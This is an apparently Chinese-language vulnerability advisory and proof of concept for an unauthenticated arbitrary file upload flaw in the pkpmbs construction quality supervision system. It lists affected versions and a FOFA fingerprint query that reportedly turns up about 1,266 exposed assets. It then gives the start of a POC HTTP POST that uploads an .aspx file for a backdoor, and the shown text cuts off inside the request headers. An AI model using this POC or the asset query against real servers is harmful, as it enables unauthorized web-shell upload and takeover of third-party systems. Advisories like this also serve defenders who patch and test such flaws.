pkpmbs工程监督系统fileupordown文件上传漏洞（含批量验证poc）

产品简介

pkpmbs 建设工程质量监督系统是湖南建研信息技术股份有限公司一个与工程质量检测管理系统相结合的，B/S架构的检测信息监管系统。

漏洞概述

pkpmbs 建设工程质量监督系统 FileUpOrDown.aspx接口处存在任意文件上传漏洞，未经身份认证的攻击者可以利用漏洞上传恶意后门文件，从而获取服务器权限。

影响范围

标准版 <= 2.2023.0328.172228

复现环境

fofa：body=”/Content/Theme/Standard/“
影响资产数量：1,266 条

漏洞复现

POC

POST /Applications/Forms/SearchSetting/FileUpOrDown.ashx?operation=Fileupload&extName=.aspx&&searchConfigName=5B56bf.aspx HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebK